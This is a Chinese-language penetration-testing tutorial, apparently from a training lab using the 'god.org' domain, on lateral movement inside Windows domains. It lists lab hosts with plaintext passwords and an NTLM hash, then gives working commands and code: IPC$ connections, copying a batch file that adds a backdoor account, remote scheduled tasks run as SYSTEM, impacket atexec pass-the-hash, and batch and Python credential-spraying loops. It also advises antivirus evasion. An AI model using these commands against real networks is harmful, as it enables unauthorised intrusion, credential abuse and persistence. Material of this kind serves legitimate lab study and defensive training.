

2008 r2 webserver
域內web服務器
本地管理員賬號密碼 :
.\administraotr:admin!@#45
當前機器域用戶密碼 :
god\webadmin:admin!@#452003 x86 fileserver
域內檔案服務器
本地管理員賬號密碼 :
administrator : admin
當前機器域用戶密碼 :
god\fileadmin : Admin123452008 r2 x64 dc god.org
主域控機器
域管賬號密碼:
God\administrator : Admin123452012 sqlserver
域內資料庫服務器
本地管理員賬號密碼 :
.\administrator:admin!@#45
當前機器域用戶密碼 :
god\dbadmin:admin!@#45w7 x64 mary-pc
域內個人機
本地管理員賬號密碼 :
.\mary : admin
當前機器域用戶密碼 :
god\mary : admin!@#45w8.1 x64 jack-pc
域內個人機
本地管理員賬號密碼 :
.\jack : admin
當前機器域用戶密碼 :
god\boss : Admin12345
案例1:橫向滲透明文傳遞
在拿下一臺內網主機,通過本地資訊搜集收集用戶憑據等資訊后,如何橫向滲透拿下更多的主機?這里僅介紹at&schtasks命令的使用,在已知目標系統的用戶明文密碼的基礎上,直接可在遠程主機上執行命令
獲取到某域主機權限-> minikatz得到密碼(明文,hash)->用到資訊收集里面域用戶的串列當做用戶名字典->用到密碼明文當做字典->嘗試連接->創建計劃任務(at|schtasks)->執行檔案可為后門或者相關命令
IPC( Internet Process Connection)是共享“命名管道”的資管,它是為了讓進城間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相關的權限,在遠程管路計算機和查看計算機的共享資源時使用,
利用流程:
1.建立IPC鏈接到目標主機
2.拷貝要執行的命令腳本到目標主機
3.查看目標時間,創建計劃任務( at,schtasks )定時執行拷貝到的腳本
4.洗掉IPC鏈接
net use \server\ipc$ "password" /user:username # 作業組
net use \server\ipc$ "password" /user:domain\username #域內
dir \xx.xx.xx.xx\C$\ # 查看檔案串列
copy \xx.xx.xx.xx\C$\1.bat 1.bat # 下載檔案
copy 1.bat \xx.xx.xx.xx\C$ # 復制檔案
net use \xx.xx.xx.xx\C$\1.bat /del # 洗掉IPC
net view xx.xx.xx.xx # 查看對方共享
建立IPC常見的錯誤代碼
1. 5:錯誤訪問,可能使用的不是管理員權限,需要先提升權限
2. 51:網路問題,windoows無法找到網路路徑
3. 53:找不到網站路徑,可能是IP地址錯誤,目標未開機,目標Lanmanserver服務未啟動、有防火墻等問題
4. 67:找不到網路名,本地Lanmanworkstation服務未啟動,目標洗掉ipc$
5. 1219:提供的憑據和已存在的憑據集沖突,說明已建立IPC$,需要先洗掉
6. 1326:賬號密碼錯誤
7. 1792:目標NetLogon服務未啟動,連接域控常常會出現此情況
8. 2242:用戶密碼過期,目標有賬號策略,強制定期更改密碼
建立IPC失敗的原因
1. 目標系統不是NT或以上的作業系統
2. 對方沒有打開IPC$共享
3. 對方未開啟139,445埠,或者被防火墻屏蔽
4. 輸出命令,賬號密碼有錯誤
[at] & [schtasks]
at < Windows2012
at命令在windows2012以下版本,就是說等于和大于2012的服務器作業系統沒有
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc連接:(假設知道了域控的密碼和ip地址)
copy add.bat \192.168.3.21\c$ #拷貝執行檔案到目標機器(add.bat內寫入net user xiaodi qwe123!@#X. /add 密碼盡量寫復雜)
at \192.168.3.21 15:47 c:\add.bat #添加計劃任務
schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc連接:
copy add.bat \ \192.168.3.32\c$ #復制檔案到其C盤
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #創建adduser任務對應執行檔案
schtasks /run /s 192.168.3.32 /tn adduser /i #運行adduser任務
schtasks /delete /s 192.168.3.21 /tn adduser /f#洗掉adduser任務
案例2-橫向滲透明文HASH傳遞atexec-impacket
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"\
這個工具不是官方的,所以可能會存在殺毒軟體的干擾,需要做免殺!盡量用自帶的工具,
如果是hash,就介紹到了atexec.exe這個工具包,這個工具包就支持遠程命令執行
這個工具不是官方自帶的,需要你自己上傳到靶機上去測驗(支持hash傳遞)
案例3-橫向滲透明文HASH傳遞批量利用-綜合
批處理:
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量檢測IP對應明文連接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量檢測IP對應明文回顯版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量檢測明文對應IP回顯版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量檢測HASH對應IP回顯版
這里用批處理寫變數只有一個(要么控制ip變,其他寫死) ,我希望連接的IP在變,密碼也在變,用戶名也在變可能性就多了
批處理我沒有專業學過,三個變數還寫不出來
我用python寫py腳本,那那個環境沒裝py腳本怎么辦?python有第三方庫,可以把寫的腳本打包編譯成exe,用python做免殺也是很常見的
案例4-橫向滲透明文HASH傳遞批量利用-升級版(☆)
前期除了收集明文密碼HASH等,還收集了用戶名,用戶名配合密碼字典能吃西瓜?
net use \192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin
# pip install pyinstaller
# pyinstaller -F fuck_neiwang_001.py //對py檔案進行編譯,生成可執行EXE
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.31',
'192.168.3.33'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'vpnadm',
'webadmin'
}
passs={
'admin',
'admin!@#45',
'Admin12345'
}
for ip in ips:
for user in users:
for mima in passs:
exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user
print('--->'+exec+'<---')
os.system(exec)
time.sleep(1)
總結:
第一個案例就是用密碼傳遞漏洞攻擊
第二個案例就是說如果碰到hash用atexec這個拓展工具包就行,它的缺點就是可能要被殺
第三個案例就是說,我們實際滲透中不可能一個一個去輸,我們就寫了一個批處理,但是批處理我們不會寫多變數,直接就用python開放了一個exe,采用批量化字典實作了用戶名、密碼、ip這三種組合,這就是第四個案例
涉及資源:
https://gitee.com/RichChigga/impacket-examples-windows
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw提取碼: xiao
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299477.html
標籤:其他
下一篇:SQL注入專題
